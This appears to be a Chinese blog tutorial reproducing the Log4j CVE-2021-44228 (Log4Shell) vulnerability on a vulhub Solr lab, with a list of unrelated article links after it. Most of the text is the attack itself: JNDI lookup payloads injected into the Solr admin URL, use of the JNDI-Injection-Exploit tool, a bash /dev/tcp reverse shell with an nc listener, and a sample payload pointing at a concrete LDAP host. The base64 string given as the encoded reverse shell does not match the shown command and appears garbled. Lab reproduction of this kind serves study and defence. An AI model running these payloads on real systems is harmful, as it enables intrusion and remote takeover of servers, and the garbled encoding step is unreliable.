当前位置: 首页 > java >正文

Log4j CVE-2021-44228 漏洞复现详细教程

1.开启环境

我们需要用到vulhub如果没有的可以自行下载一下,然后执行下列命令即可开启,然后就可以访问啦

systemctl start docker
cd /vulhub/log4j/CVE-2021-44228		//需使用绝对路径
docker-compose up -d		
docker ps //查看开启容器的端口

2.证明漏洞存在

在我们点击页面时,可以发现URL中有界面会出现/solr/admin/cores?action=的传参点,我们这验证一下是否存在漏洞,使用dnslog.cn网站生成域名在前面带上我们构造的存在JNDI的请求发过去。就可以得到回显,说明漏洞存在。

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}/*生成的域名复制到此处*/}

3.漏洞利用

下载一个JDNI方便生成我们的ldap。编写反弹shell编码,然后对其进行base64编码。根据自己前面的命令按照命令模版构造可执行命令。就可以得到下图内容。

下载地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0反弹shell代码
bash -i >& /dev/tcp/自己ip/监听端口 0>&1对反弹shell进行base64编码
YmFzaC89KKB+JiA9HJJNMDF65JHCUn1KLJAHIBBLzk5OTkgMD4mMQ==命令模版
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

我们再开一个新的终端界面开启端口监听,

nc -lvvp 监听端口		//与上面的监听端口一至

然后将我们得到的jdk 1.8 的ldap复制下来带入到下列的命令

/solr/admin/cores?action=${jndi:自己的ldap}参考:
/solr/admin/cores?action=${jndi:ldap://101.42.118.221:1389/jyvecl}

将构造好的命令复制到原来的界面访问即可,回到端口监听的 终端页面就可以得到对方的shell。

http://www.xdnf.cn/news/16093.html

相关文章:

  • 【lucene】实现knn
  • Git 完全手册:从入门到团队协作实战(4)
  • DP系列2【01背包】洛谷 P1049 [NOIP 2001 普及组] 装箱问题题解
  • 构建高性能推荐系统:MixerService架构解析与核心实现
  • K8s:离线部署Kubernetes1.26.12及采用外部Harbor
  • .net core接收对方传递的body体里的json并反序列化
  • P5535 【XR-3】小道消息
  • 【MyBatis-Plus】核心开发指南:高效CRUD与进阶实践
  • 83、设置有人DTU设备USR-M100采集传感器数据,然后上传阿里云服务
  • 【音视频学习】五、深入解析视频技术中的像素格式:颜色空间、位深度、存储布局
  • CodeBuddy IDE实战:用AI全栈能力快速搭建课程表网页
  • 借助Aspose.HTML控件,使用 Python 编程将网页转换为 PDF
  • Object Sense (OSE):一款从编辑器脚本发展起来的编程语言
  • 优化:Toc小程序猜你喜欢功能
  • Java 堆(优先级队列)
  • AI 及开发领域动态与资源汇总(2025年7月23日)
  • 编程语言Java——核心技术篇(二)类的高级特性
  • 逆向入门(41)程序逆向篇-crackme
  • OceanBase数据库
  • 设备虚拟化技术
  • 从零开始学习Dify-Excel数据可视化(四)
  • Rocky9部署Zabbix7(小白的“升级打怪”成长之路)
  • 【bug】websocket协议不兼容导致的一个奇怪问题
  • (46)elasticsearch-华为云CCE无状态负载部署
  • #Linux内存管理# 在一个播放系统中同时打开几十个不同的高清视频文件,发现播放有些卡顿,打开视频文件是用mmap函数,请简单分析原因。
  • MCU芯片AS32S601在卫星光纤放大器(EDFA)中的应用探索
  • VPS海外部署Linux分布式计算任务调度-跨国资源整合方案
  • k8s:docker compose离线部署haborV2.13.1及采用外部的postgresql及redis数据库
  • uni-app动态获取屏幕边界到安全区域距离的完整教程
  • 在离线 Ubuntu 22.04机器上运行 ddkj_portainer-cn 镜像 其他相关操作也可以复刻 docker